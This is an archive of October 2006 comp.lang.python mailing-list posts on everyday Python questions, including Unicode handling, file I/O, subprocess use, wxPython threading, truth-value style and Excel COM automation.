<1160256250.688620.63770@h48g2000cwc.googlegroups.com> <452820C1.5020607@tim.thechases.com> Message-ID: Tim Chase wrote: >>>Can these operators be overloaded? >> >>Yes. > > > With the caveat of the "=" mentioned in the subject-line (being > different from "==")...I haven't found any way to override > assignment in the general case. There might be some oddball way > to do it via property() but AFAIK, this only applies to > properties of objects, not top-level names/variables. I'd love > to know if there's some workaround for this though... > That's because assignment isn't an operator - that's why (for example) print x = 33 would be a syntax error. This is a deliberate design decision about which, history shows, there is little use complaining. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From horpner at yahoo.com Thu Oct 19 14:27:23 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 19 Oct 2006 20:27:23 +0200 Subject: comparing Unicode and string References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com> <1161281095.174018.223790@f16g2000cwb.googlegroups.com> Message-ID: On 2006-10-19, luc.saffre at gmail.com wrote: > Suggestion: shouldn't an error raise already when I try to > assign s2? There's been discussion on pydev about changing this, but for now I believe a str is a sequence of bytes in Python, rather than a string of characters. My current project (an implementation of the Glk API in Python) would be more troublesome to write if I had to store all my latin-1 character strings as lists or arrays of bytes. -- Neil Cerutti From fredrik at pythonware.com Fri Oct 20 04:59:22 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 10:59:22 +0200 Subject: Unicode support in python References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com> Message-ID: "sonald" wrote: > I need to pass russian text into python and validate the same. > Can u plz guide me on how to make my existing code support the > russian text. > > Is there any module that can be used for unicode support in python? Python has built-in Unicode support (which you would probably have noticed if you'd looked "Unicode" up in the documentation index). for a list of tutorials and other documentation, see http://www.google.com/search?q=python+unicode From cmacn024 at uottawa.ca Tue Oct 10 08:50:28 2006 From: cmacn024 at uottawa.ca (cmacn024 at uottawa.ca) Date: 10 Oct 2006 05:50:28 -0700 Subject: Using Gnutar to remove a list of files In-Reply-To: References: <1160483644.216310.249760@m73g2000cwd.googlegroups.com> Message-ID: <1160484628.771169.20770@i42g2000cwa.googlegroups.com> Yeah, I got it working with tarfile. Thanks! From tjreedy at udel.edu Sun Oct 8 23:07:23 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Sun, 8 Oct 2006 23:07:23 -0400 Subject: Python license question References: <1160353411.470511.307190@c28g2000cwb.googlegroups.com> <1f7befae0610081826o235e7ecfxffec8ea76cc71649@mail.gmail.com> Message-ID: "Tim Peters" wrote in message news:1f7befae0610081826o235e7ecfxffec8ea76cc71649 at mail.gmail.com... > I'm not a lawyer, so can't give legal advice. I can explain intent, > speaking as a Director of the Python Software Foundation. This strikes me as an excellent reply, which would be worth adding to the site as a FAQ (possilby after running it by PSF's lawyer). I am sure the OP is not the first with such questions. tjr From ak at silmarill.org Mon Oct 2 14:54:54 2006 From: ak at silmarill.org (Rainy) Date: 2 Oct 2006 11:54:54 -0700 Subject: Problem with .next() method adding junk characters. In-Reply-To: References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com> Message-ID: <1159815294.457908.46190@e3g2000cwe.googlegroups.com> Paul McGuire wrote: > "Fredrik Lundh" wrote in message > news:mailman.1076.1159776001.10491.python-list at python.org... > > "Rainy" wrote: > > > >> I'm just curious as to what's happening. I understand that you're not > >> supposed to call .next on a file open for writing. But I don't know why > >> and how it does what happened here; besides, I've seen the same thing > >> happen before when I was doing something else with file > >> open/write/close, but I don't remember the specifics. > > > > C's stdio library require you to call "flush" when switching between > > reading and > > writing; if you don't, the result is undefined. > > > > > > > > Sure enough, following the OP's original sequence, with an intervening flush > between the writes and next, leaves the file in the expected state: > > >>> f = file("xyzzy.dat","w") > >>> f.write("1\n") > >>> f.write("2\n") > >>> f.write("3\n") > >>> f.flush() > >>> f.next() > Traceback (most recent call last): > File "", line 1, in ? > IOError: [Errno 9] Bad file descriptor > >>> f.close() > >>> f = file("xyzzy.dat") > >>> f.next() > '1\n' > >>> f.next() > '2\n' > >>> f.next() > '3\n' > >>> f.next() > Traceback (most recent call last): > File "", line 1, in ? > StopIteration > >>> > > I would guess then that the likely extent of any fix to this "bug" would be > documentation to the effect of Fredrik's last comment above. > > -- Paul Thanks.. I get it now. Should I close the bug report then? From sjmachin at lexicon.net Wed Oct 11 01:55:39 2006 From: sjmachin at lexicon.net (John Machin) Date: 10 Oct 2006 22:55:39 -0700 Subject: sufficiently pythonic code for testing type of function In-Reply-To: References: Message-ID: <1160546139.380644.63650@b28g2000cwb.googlegroups.com> Theerasak Photha wrote: > I wrote this for someone else to take an object and list of types, > then check if obj is one of those types, raising an error otherwise. > > Is it enough to rely on side effects or absence thereof, or should I > put return True in here somewhere? > > def test_obj_type(obj, types): > for type in types: > if isinstance(obj, type): > break > else: > raise ValueError, 'object is not in %s' % types > Hello Theerasak, To answer your question: Either (a) return True if OK, False if not OK or (b) make it like an assertion: raise an exception if not OK, do nothing if OK. Returning True from the above function would be a rather strange hybrid. However: 1. if isinstance(obj, types[1] is true, but isinstance(obj, types[0]) is false, this would appear to raise ValueError. Is the indentation of the else and raise what you intended? 2. In any case, since Python 2.2, no loop is necessary: def test_obj_type(obj, types): if not isinstance(obj, types): raise ValueError, 'object is not in %s' % (types, ) If you don't want the assertion style, your "someone else" can call isinstance directly. 3. And please notice the change in the raise line; if types is a tuple of two or more items, the % operator treats it specially. As coded, you would get this exception: "TypeError: not all arguments converted during string formatting" HTH, John From fredrik at pythonware.com Tue Oct 31 06:44:50 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 31 Oct 2006 12:44:50 +0100 Subject: How can I import a script with an arbitrary name ? In-Reply-To: References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com> Message-ID: Steven D'Aprano wrote: > The only advantage (or maybe it is a disadvantage?) I can see to your > function is that it doesn't search the Python path and you can specify an > absolute file name. that's the whole point of doing an explicit load, of course. if you think that's a disadvantage, you haven't done enough plugin work... From robert.kern at gmail.com Sun Oct 8 13:18:33 2006 From: robert.kern at gmail.com (Robert Kern) Date: Sun, 08 Oct 2006 13:18:33 -0400 Subject: missing has_column_major_storage In-Reply-To: <1160321773.130327.35190@m7g2000cwm.googlegroups.com> References: <1160321773.130327.35190@m7g2000cwm.googlegroups.com> Message-ID: Dave wrote: > hello > I have intalled the Enthought Edition 1.0.0, when i successed use > f2py compile my fortran file to python module. But when I call > "has_column_major_storage function" in the extended module. it's cannot > find. "has_column_major_storage function" function have been remove > from numpy/f2py ?? how can i change the array storage C to Fortran > type?? Possibly. Please ask on the numpy list, though. http://www.scipy.org/Mailing_Lists -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From fulvio at pc.jaring.my Fri Oct 20 08:30:06 2006 From: fulvio at pc.jaring.my (Fulvio) Date: Fri, 20 Oct 2006 20:30:06 +0800 Subject: [OT] a little about regex In-Reply-To: References: Message-ID: <200610202030.06515.fulvio@pc.jaring.my> On Friday 20 October 2006 02:40, Ron Adam wrote: > I see, is this a cleanup script to remove the least wanted items? Yes. Probably will remain in this mode for a while. I'm not prepaired to bring out a new algorithm > Or is it a bit of both? ?Why the score? As exposed on another post. There should be a way to define a deny/allow with some particular exception.( I.e deny all ".com" but not myfriend at heppyday.com) > I would think the allow(keep?) filters would always have priority over deny > filters. It's a term which discerning capacity are involved. The previous post got this point up. I think to allow all ".uk" (let us say) but not "info.uk" (all reference are purely meant as example). Therefore if applying regex denial on ".info.uk" surely that doesn't match only ".uk". > > I think keeping the allow filter seperate from the deny filter is good. Agreed with you. Simply I was supposing the regex can do negative matching. > You might be able to merge the header lines and run the filters across the > whole header at once instead of each line. I got into this idea, which is good, I still need a bit of thinking to code it. It need to remember what will be the right separator between fields, otherwise may cause problems with different charset. > > Actually I've problem on issuing the command to imap server to flag > > "Deleted" the message which count as spam. I only know the message > > I can't help you here. ?Sorry. Found it :), by try&fail. > > BTW whose Fred? > ? ? > news://news.cox.net:119/mailman.670.1161155836.11739.python-list at python.org I can't link foreigner NG than my isp giving me. I'm curious and I'll give it a try. F From rurpy at yahoo.com Mon Oct 16 15:07:16 2006 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: 16 Oct 2006 12:07:16 -0700 Subject: OT: What's up with the starship? In-Reply-To: References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1161021960.792970.238240@m73g2000cwd.googlegroups.com> Message-ID: <1161025636.641534.282290@f16g2000cwb.googlegroups.com> Fredrik Lundh wrote: > rurpy at yahoo.com wrote: > > > Then perhaps you or he could explain it to us less intelligent > > people in very simple terms? > > the security advisory explains that the cause of the problem is a bug > in the source code used to implement repr() for 32-bit Unicode strings, > on all Python versions from 2.2 and onwards. > > Python 2.2 was released in 2001. I admit I am totally flmmexed by your answer. What does when the bug was introduced have to do with anything? It is present in contemporary versions of Python. It "can lead to execution of arbitrary code". It is important enough to drive an "emergency" (my term) bug fix python release. It seems to have been disscussed publically starting around Oct 6 or 7 (I didn't do a though search so this may be wrong.) It was fixed in Python 2.5 so either it was treated as a ordinary bug with unrecognised security implications, or the developers were aware of the security issues and sat on them. Regardless, I don't see anything in the advisory that either makes it an unimportant issue, or makes clearly unrelated to the starship.python.net compromise. So could you please try to explain again in even simpler terms? From hanumizzle at gmail.com Wed Oct 11 02:06:07 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 02:06:07 -0400 Subject: How to find number of characters in a unicode string? In-Reply-To: <1160545821.830285.42650@b28g2000cwb.googlegroups.com> References: <20060918221814.08625ea2.randhol+valid_for_reply_from_news@pvv.org> <1160545821.830285.42650@b28g2000cwb.googlegroups.com> Message-ID: <463ff4860610102306n4cfeb58cq76da46acebf9da30@mail.gmail.com> On 10 Oct 2006 22:50:21 -0700, Leo Kislov wrote: > If python ever provide this functionality it would be I guess > u"C\u0327".width() == 1. But it's not clear when unicode.org will > provide recommended fixed font character width information for *all* > characters. I recently stumbled upon Tamil language, where for example > u'\u0b95\u0bcd', u'\u0b95\u0bbe', u'\u0b95\u0bca', u'\u0b95\u0bcc' > looks like they have width 1,2,3 and 4 columns. To add insult to injury > these 4 symbols are all considered *single* letter symbols :) If your > email reader is able to show them, here they are in all their glory: > ??, ??, ??, ??. Letters? Not as such. They are, however, single syllabic units; Tamil, like other Indic scripts, is an alphasyllabary. I believe the syllables or sounds thus encoded are k (with nothing after), kaa, ko, and kau. Seamonkey is being a jerk and not rendering the glyphs properly... :? -- Theerasak From jcarlson at uci.edu Tue Oct 24 23:11:05 2006 From: jcarlson at uci.edu (Josiah Carlson) Date: Tue, 24 Oct 2006 20:11:05 -0700 Subject: [wxPython-users] Re: In-Reply-To: <7.0.1.0.0.20061024234603.042e0058@yahoo.com.ar> References: <20061025022516.94464.qmail@web88305.mail.re4.yahoo.com> <7.0.1.0.0.20061024234603.042e0058@yahoo.com.ar> Message-ID: <20061024200724.0AA7.JCARLSON@uci.edu> Gabriel Genellina wrote: > At Tuesday 24/10/2006 23:25, Michael S wrote: > > >I extended part of my program in C, since that part > >was too involved for Python. Now when I import the > >module I created and call its functions, I am trying > >to feedback some information bac to my wxPython > >program. The function runs for a while and I wanted to > >update a progress bar, but when I call the function of > >my new module, wxPython doesn't respond when wx.Timer > >is supposed to fire. > > Does your extension run on a separate thread? I guess not. So the > wxPython code does not have a chance to run. > Do it the other way: from your C code, call a Python function which > in turn updates the progress bar (and keep it simple!) Unless the GUI thread has a chance to take passes through the wxPython mainloop, the progress bar, etc., may not actually be updated on some platforms. Mr. Sherman would likely be better off creating a new thread which handles processing, which could update a C global variable, which the GUI thread can poll to update its progress bar, etc. Alternatively, if the processing can be broken down into smaller pieces, the secondary thread can call the pieces and post events back to the GUI thread to update the progress bar (via explicit wx.PostEvent or implicit wx.CallAfter). - Josiah From steve at holdenweb.com Sat Oct 7 05:49:25 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 07 Oct 2006 10:49:25 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de><7x3ba1ltvj.fsf@ruckus.brouhaha.com> Message-ID: Giovanni Bajo wrote: [...] > > I understand your concerns, but I have to remember you that most bug reports > submitted by users go totally ignored for several years, or, better, forever. I > do not have a correct statistic for this, but I'm confident that at least 80% > of the RFE or patches filed every week is totally ignored, and probably at > least 50% of the bugs too. I think there is a much bigger problem here wrt QOS. > > So, you might prefer 6-10 people to activate a new tracker account faster than > light. I'd rather have 3-days delay in administrative issues because our single > administrator is sleeping or whatever, and then have 2-3 people doing regular > bug processing. ... and if wishes were horses then beggars would ride. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From Kiran.Karra at gmail.com Thu Oct 26 08:55:25 2006 From: Kiran.Karra at gmail.com (Kiran) Date: 26 Oct 2006 05:55:25 -0700 Subject: return tuple from C to python (extending python) In-Reply-To: References: <1161728694.741915.170890@m7g2000cwm.googlegroups.com> <1161731656.218584.21470@m7g2000cwm.googlegroups.com> Message-ID: <1161867325.445213.86190@m7g2000cwm.googlegroups.com> Farshid Lashkari wrote: > Simon Forman wrote: > > I have not done a great deal of extension work with python, however, I > > do not believe you can simply cast an int (or pointer to int, which is > > what you say dat is declared as, unless my C is /really/ rusty) to > > PyObject*. > > > > I think you need to do something like Py_BuildValue("i", 123), but see > > http://docs.python.org/ext/buildValue.html for more info. > > Simon is correct. You need to create a python object from your unsigned > int. Try the following instead: > > PyTuple_SET_ITEM(toRet, i, PyInt_FromLong(dat[i]) ); > > -Farshid That did the trick. thanks guys both for your help! From johnjsal at NOSPAMgmail.com Wed Oct 4 13:09:46 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 04 Oct 2006 17:09:46 GMT Subject: can't open chm files all of a sudden In-Reply-To: References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> Message-ID: Gabriel Genellina wrote: > At Wednesday 4/10/2006 01:32, John Salerno wrote: > >> > I tried opening my Python chm docs just now, as well as the one for >> > wxPython, and both are giving me an error dialog when I double-click >> > them and I can't open them. This happened apparently for no reason, >> just >> > today. I even reset but that didn't help. >> AppName: hh.exe AppVer: 5.2.3790.2453 ModName: itss.dll >> ModVer: 5.2.3790.2453 Offset: 00006bec > > Try this: I don't know if this is my problem, but maybe I can find more on this site. From pretoriano_2001 at hotmail.com Wed Oct 25 10:00:03 2006 From: pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com) Date: 25 Oct 2006 07:00:03 -0700 Subject: Want to reduce steps of an operation with dictionaries In-Reply-To: References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> Message-ID: <1161784803.462237.37790@i3g2000cwc.googlegroups.com> Mike: Many thanks for your solution. It looks really nice. Mike Erickson wrote: > * pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com) wrote: > > Hello: > > I have next dictionaries: > > a={'a':0, 'b':1, 'c':2, 'd':3} > > b={'a':0, 'c':1, 'd':2, 'e':3} > > I want to put in a new dictionary named c all the keys that are in b > > and re-sequence the values. The result I want is: > > c={'a':0, 'c':1, 'd':2} > > How can I do this with one line of instruction? > > > > I attempted the next but the output is not the expected: > > c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)]) > > erroneously (for me) gets: > > {'a': 0, 'c': 2, 'd': 3} > > I am not 100% I understand your questions, but k,v are being pulled from > a, try: > > c=dict([(k,b[k]) for v,k in enumerate(a) if b.has_key(k)]) > > mike From ptmcg at austin.rr._bogus_.com Tue Oct 31 09:20:35 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Tue, 31 Oct 2006 14:20:35 GMT Subject: 3d programming without opengl References: Message-ID: "nelson -" wrote in message news:mailman.1538.1162294645.11739.python-list at python.org... > Hi paul, > i look at slut and it seem very good... Can i embed it into a > wxpython application? > > thanks, > nelson I've no earthly idea, nelson, sorry. The sphere program is the extent of my slut experience (for which my wife is quite grateful!). I think the slut website mentions a mailing list, that should be able to answer your technical questions. Good luck! -- Paul From johnjsal at NOSPAMgmail.com Thu Oct 26 14:09:37 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 26 Oct 2006 18:09:37 GMT Subject: which one of these is better? Message-ID: def create_sql_script(self): try: with open('labtables.sql') as sql_script: return sql_script.read() except IOError: wx.MessageBox('Could not locate the file "labtables.sql"', 'File Not Found') OR def create_sql_script(self): try: f = open('labtables.sql') sql_script = f.read() except IOError: wx.MessageBox('Could not locate the file "labtables.sql"', 'File Not Found') finally: f.close() Do they both do the same thing? From holly.woodland at gmail.com Tue Oct 17 19:05:40 2006 From: holly.woodland at gmail.com (holly.woodland at gmail.com) Date: 17 Oct 2006 16:05:40 -0700 Subject: Python wrapper for C++ core Message-ID: <1161126339.893795.254110@i3g2000cwc.googlegroups.com> Hi All Apologies in advance for the pretty basic question - but I can't seem to find an answer anywhere else. I am developing a fluid sim in C++ and have heard that many people use Python in conjunction with C++ for this sort of thing (especially in games dev). What I can't understand why you would want to do this. Obviously the core would be written in C++ (for my purposes anyway) so what parts would be written in Python? What is the benefit, in this situation, of using Python instead of C++? thanks for your help Holly From __peter__ at web.de Mon Oct 9 03:46:58 2006 From: __peter__ at web.de (Peter Otten) Date: Mon, 09 Oct 2006 09:46:58 +0200 Subject: can compile function have a bug? References: <1160274901.447221.45720@e3g2000cwe.googlegroups.com> Message-ID: ygao wrote: >>>> compile('U"?"','c:/test','single') > >>>> d=compile('U"?"','c:/test','single') >>>> d > >>>> exec(d) > u'\xd6\xd0' >>>> U"?" > u'\u4e2d' >>>> > > why is the result different? > a bug or another reason? How that particular output came to be I don't know, but you should be able to avoid the confusion by either passing a unicode string to compile() or specifying the encoding: >>> exec compile(u'u"?"','c:/test','single') u'\u4e2d' >>> exec compile('# -*- coding: utf8 -*-\nu"?"','c:/test','single') u'\u4e2d' Peter PS: In and all-UTF-8 environment I would have /expected/ to see >>> your_encoding = "utf8" >>> identity = "latin1" >>> u'\u4e2d'.encode(your_encoding).decode(identity) u'\xe4\xb8\xad' and that's indeed what I get over here: >>> exec compile('u"?"','c:/test','single') u'\xe4\xb8\xad' From bignose+hates-spam at benfinney.id.au Tue Oct 3 09:45:48 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 03 Oct 2006 23:45:48 +1000 Subject: Newbie question: python doesn't search the cwd for my module References: <20061003132108.5834.qmail@web50903.mail.yahoo.com> Message-ID: <87odstikc3.fsf@benfinney.id.au> izak marais writes: > I want to import a module I wrote to use it in a script. But, it is > not in the same directory as the script I want to import it into. I can think of two sensible solutions. One is to change the 'sys.path' list to include the directory where you want Python to look for your module. This has the advantage that it will work on all current versions of Python. It has the disadvantage that modules with the same name in different directories are not easy to differentiate. import sys sys.path.append("/path/to/the/directory") import spam The other way is to use absolute imports to be specific about where the module should be imported from. This has the advantage that at most one module will match the requested name for a given import. It has the disadvantage of being a fairly new feature, introduced in Python 2.5. from __future__ import absolute_import from ...path.to.the.directory import spam See here for more information on absolute imports: -- \ "I believe in making the world safe for our children, but not | `\ our children's children, because I don't think children should | _o__) be having sex." -- Jack Handey | Ben Finney From misterwang at gmail.com Thu Oct 12 20:32:14 2006 From: misterwang at gmail.com (Peter Wang) Date: 12 Oct 2006 17:32:14 -0700 Subject: Python component model In-Reply-To: <1160538736.856864.175990@i42g2000cwa.googlegroups.com> References: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net> <1160538736.856864.175990@i42g2000cwa.googlegroups.com> Message-ID: <1160699534.615400.115130@i42g2000cwa.googlegroups.com> Ilias Lazaridis wrote: > looks interesting. Thanks! > what about persistency? Um... what about it? From fredrik at pythonware.com Thu Oct 26 11:24:08 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 17:24:08 +0200 Subject: subprocess-how to suppress the stdout In-Reply-To: References: Message-ID: alf wrote: >> /dev/null is your friend: >> >> Popen(..., stdout=open("/dev/null", "w"), stderr=subprocess.STDOUT, ...) >> > > I am forced to use win32 :-( plus it needs to be platform independent ... alright, os.devnull is your friend: Popen(..., stdout=open(os.devnull, "w"), stderr=subprocess.STDOUT, ...) From johnzenger at gmail.com Fri Oct 20 15:36:43 2006 From: johnzenger at gmail.com (johnzenger at gmail.com) Date: 20 Oct 2006 12:36:43 -0700 Subject: why does this unpacking work In-Reply-To: References: Message-ID: <1161373003.141096.277510@i42g2000cwa.googlegroups.com> It's just sequence unpacking. Did you know that this works?: pair = ("California","San Francisco") state, city = pair print city # 'San Francisco' print state # 'California' John Salerno wrote: > I'm a little confused, but I'm sure this is something trivial. I'm > confused about why this works: > > >>> t = (('hello', 'goodbye'), > ('more', 'less'), > ('something', 'nothing'), > ('good', 'bad')) > >>> t > (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'), > ('good', 'bad')) > >>> for x in t: > print x > > > ('hello', 'goodbye') > ('more', 'less') > ('something', 'nothing') > ('good', 'bad') > >>> for x,y in t: > print x,y > > > hello goodbye > more less > something nothing > good bad > >>> > > I understand that t returns a single tuple that contains other tuples. > Then 'for x in t' returns the nested tuples themselves. > > But what I don't understand is why you can use 'for x,y in t' when t > really only returns one thing. I see that this works, but I can't quite > conceptualize how. I thought 'for x,y in t' would only work if t > returned a two-tuple, which it doesn't. > > What seems to be happening is that 'for x,y in t' is acting like: > > for x in t: > for y,z in x: > #then it does it correctly > > But if so, why is this? It doesn't seem like very intuitive behavior. > > Thanks. From toreriks at hotmail.com Tue Oct 24 03:43:43 2006 From: toreriks at hotmail.com (Tor Erik Soenvisen) Date: Tue, 24 Oct 2006 07:43:43 +0000 (UTC) Subject: Protecting against SQL injection Message-ID: Hi, How safe is the following code against SQL injection: # Get user privilege digest = sha.new(pw).hexdigest() # Protect against SQL injection by escaping quotes uname = uname.replace("'", "''") sql = 'SELECT privilege FROM staff WHERE ' + \ 'username=\'%s\' AND password=\'%s\'' % (uname, digest) res = self.oraDB.query(sql) pw is the supplied password abd uname is the supplied password. regards From tejovathi.p at gmail.com Tue Oct 17 05:07:09 2006 From: tejovathi.p at gmail.com (Teja) Date: 17 Oct 2006 02:07:09 -0700 Subject: COM Error -- Urgent help In-Reply-To: References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com> <45347682$0$25906$ba4acef3@news.orange.fr> <1161070831.102884.37930@e3g2000cwe.googlegroups.com> <1161071939.165951.221510@i42g2000cwa.googlegroups.com> Message-ID: <1161076029.101436.3850@e3g2000cwe.googlegroups.com> Dennis Lee Bieber wrote: > On 17 Oct 2006 00:58:59 -0700, "Teja" declaimed > the following in comp.lang.python: > > > thread.start_new_thread(self.nav, (s,'www.google.com') > > > > I am getting an attribute error > > That can not be the REAL code... I'd expect a syntax error... You > have mismatched parens on that line! > -- > Wulfraed Dennis Lee Bieber KD6MOG > wlfraed at ix.netcom.com wulfraed at bestiaria.com > HTTP://wlfraed.home.netcom.com/ > (Bestiaria Support Staff: web-asst at bestiaria.com) > HTTP://www.bestiaria.com/ Hi, Ya its a copy paste error... But can u please let me know what is the reason for attribute error and how to rectify it?? Thnks, Regards Teja.P From jcoleman at franciscan.edu Thu Oct 26 06:58:25 2006 From: jcoleman at franciscan.edu (John Coleman) Date: 26 Oct 2006 03:58:25 -0700 Subject: question about True values In-Reply-To: References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> Message-ID: <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Donn Cave wrote: > In article <1161812827.596356.316450 at f16g2000cwb.googlegroups.com>, > "John Coleman" wrote: > > > Very good point, though one could argue perhaps that when one is > > comparing an object with a truth value then one is implicitly asking > > for the truth value of that object > > On the contrary -- since there is normally no need to ever > compare an object with a truth value, then I would interpret > this usage as an attempt to distinguish True or False from > other objects in general. Some kind of placeholders for > missing values, who knows. I'm not saying it's a great idea, > but it could work in recent versions of Python. > > > This would make code like 'if s: ' equivalent > > to 'if s == True:' with a possible gain in readability. But - as you > > demonstrate the cost of that (minimal) gain in readability would be too > > high. In any event - I think it is mostly bad style to use a > > non-boolean variable in 'if s:' - it reminds me too much of obscure C > > code (though others might disagree). > > Others will indeed disagree. I don't think you'll find > much support for this position. But it's not as bad as > your notion that "if s == True", where s is not a boolean > object, might represent a gain in readability. That really > redefines readability. > > Donn Cave, donn at u.washington.edu As far as readability goes - most computer languages have a surface syntax which is (by design) vaguely similiar to the syntax of a natural language like English. Thus statements roughly correspond to sentences. For example, you can see a subject-verb-object pattern in "x=3". Given a genuinely boolean construct like x < 2, "if x < 2:" *sounds* right to a human reader. Similarly, given a good boolean variable with a descriptive name like "found", the fragment "if found:" sounds ok. But - given a non-boolean variable like "product_name" - writing "if product_name:" sounds (to my ears) a little jarring - it sounds like a sentence fragment. It's like saying "If Bob" - If Bob *what*? Goes to the store? answers the telephone? Finish the damn thought! Now, if you were to (from some strange reason) use "product_name" as if it were a truth value then (to my ears) it would both make your intentions more clear and sound less fragmentary if you could say "if product_name == True:". When you use "product_name" as the condition of an if statement then in that context it is *functioning* as a truth value so (naively) what could be wrong with comparing it to a truth value? I don't advocate any change in Python here - just pointing out that the idea of allowing "if s:" and "if s == True:" to be always equivalent in the interest of readability isn't *that* strange. It doesn't constitute a redefinition of readability. As far as using non-booleans as conditions - I just think that if you want a certain block of code to be executed only if, for example, a list is non-empty, why not *say* so? I think "if my_list != []:" just reads better than "if my_list:". I would think that my preferences there mesh with "Explicit is better than implicit" but apparently not. I'm just starting out with Python with most of my programming in recent years being in various dialects of Visual Basic (which probably explains a lot). What attracts me to Python so far is the cool slice operations, the iterators, the libraries and the convience of programming in a REPL environment. So far, the ability to use "cat" as a part-time substitute for True just strikes me as a curiousity - but maybe that will change with time. -John Coleman From fredrik at pythonware.com Wed Oct 4 17:22:11 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 04 Oct 2006 23:22:11 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: Steve Holden wrote: >> you're not on the infrastructure list, I hear. python.org could still need a >> few more roundup volunteers, but it's not like nobody's prepared to con- >> tribute manhours. don't underestimate the community. >> > No, I'm not on the infrastructure list, but I know that capable people > *are*: and you know I am quite capable of donating my time to the cause, > when I have it to spare (and sometimes even when I don't). what I was trying to say (between the lines) was that not only have the people on that list worked hard to do the evaluation (not to mention all the developers around the world that has worked even harder to set up test trackers), there's also been a good community response to the committee's call for "6-10 volunteers". From p at ulmcnett.com Mon Oct 30 22:34:52 2006 From: p at ulmcnett.com (Paul McNett) Date: Mon, 30 Oct 2006 19:34:52 -0800 Subject: Serious wxPython Error while executing.. In-Reply-To: <1162251958.974767.160970@k70g2000cwa.googlegroups.com> References: <1162251958.974767.160970@k70g2000cwa.googlegroups.com> Message-ID: <4546C45C.4050908@ulmcnett.com> kath wrote: > Hello, sorry about the lengthy message. > > I finding difficult to execute this program. The wx.Notebook i created > is coming on the splitted frame(self.p2). How do I that. I am started > to learn wxPython, and when I run the code, the code doesnot close > gracefully, it throughs me an error. > > "pythonw.exe has encountered a problem and needs to close. We are > sorry for the inconvenience" I get a segmentation fault on Linux, after running the script, choosing "Add new fund" from the menu, and then closing the application. I don't get the segmentation fault if I merely start the app and close it. > here is the code.... seems a bit lengthy, sorry about that. > Please help me to find my mistake, and how do I go forward resolving > this problem. You actually have several problems. But, the segmentation fault appears to be directly related to the fact that you add boxsizer to the border sizer twice. Another problem is that you create the notebook every single time, and add just one page to it, but you probably want just one notebook with one or more pages. -- pkm ~ http://paulmcnett.com From sjmachin at lexicon.net Tue Oct 10 17:59:12 2006 From: sjmachin at lexicon.net (John Machin) Date: 10 Oct 2006 14:59:12 -0700 Subject: Adding Worksheets to an Excel Workbook References: <1160514523.693496.223630@e3g2000cwe.googlegroups.com> Message-ID: <1160517552.328403.317150@b28g2000cwb.googlegroups.com> e.h.doxtator at accenture.com wrote: > All > > I'm a Python newbie, and I'm just getting to the wonders of COM > programming. I am trying to programmatically do the following: > > 1. Activate Excel > 2. Add a Workbook > 3. Add a Worksheet > 4. Populate the new Worksheet > 5. Repeat steps 3,4 while there is data. > > How do you add a Worksheet to a Workbook? To find out how to do things, you can: (1) use the VBA help in Excel. You would find (eventually): """ Add method as it applies to the Sheets and Worksheets objects. Creates a new worksheet, chart, or macro sheet. The new worksheet becomes the active sheet. expression.Add(Before, After, Count, Type) expression Required. An expression that returns one of the above objects. Before Optional Variant. An object that specifies the sheet before which the new sheet is added. After Optional Variant. An object that specifies the sheet after which the new sheet is added. Count Optional Variant. The number of sheets to be added. The default value is one. Type Optional Variant. Specifies the sheet type. Can be one of the following XlSheetType constants: xlWorksheet, xlChart, xlExcel4MacroSheet, or xlExcel4IntlMacroSheet. 